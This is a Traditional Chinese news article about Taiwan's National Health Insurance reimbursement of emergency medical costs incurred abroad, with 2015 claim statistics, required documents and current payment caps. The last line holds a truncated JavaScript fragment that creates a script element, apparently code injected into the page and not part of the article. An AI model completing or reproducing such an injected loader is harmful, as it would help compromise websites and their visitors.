春節連續假期出國旅遊,一旦有病痛,不得不在國外就醫時,有些權益可別忘了,健保署提醒,民眾出國期間如果發生不可預期的緊急傷病在國外院所立即就醫,可在門、急診治療當日或出院之日起6個月內,向投保單位所在地的健保署分區業務組申請核退費用。以104年為例,國人海外傷病第一名是急性上呼吸道感染。

健保署統計,104年國人在國外最常發生緊急傷病前5名,分別為:急性上呼吸道感染、急性支氣管炎、外科或內科處置併發症、腎衰竭、扁桃腺炎,核付件數分別有3.3萬件(4299萬元)、0.78萬件(1157萬元)、0.73萬件(2599萬元)、0.69萬件(1358萬元)及0.68萬件(959萬元)。

健保署表示,民眾申請時,應檢附自墊醫療費用核退申請書、醫療費用收據正本及費用明細、診斷書、當次出入境證明文件等。

必須注意的是,如果是在中國大陸地區住院5日(含5日,但出院日不列入計算)以上的核退申請案件所檢附之診斷書及醫療費用收據正本,需至大陸公證處辦理公證,回國至財團法人海峽交流基金會辦理驗證後,再提出申請。

健保署表示,核退金額採「核實」支付,以每季支付國內醫學中心的平均費用為上限,而最近一季(105年10至12月)核退金額上限,門診每次2071元、急診每次3395元、住院每日8300元,因此,國人若出國至醫療費用相對較高的國家,可能無法全額核退,最好加買海外突發疾病醫療險。var d=document;var s=d.createElement(‘script’);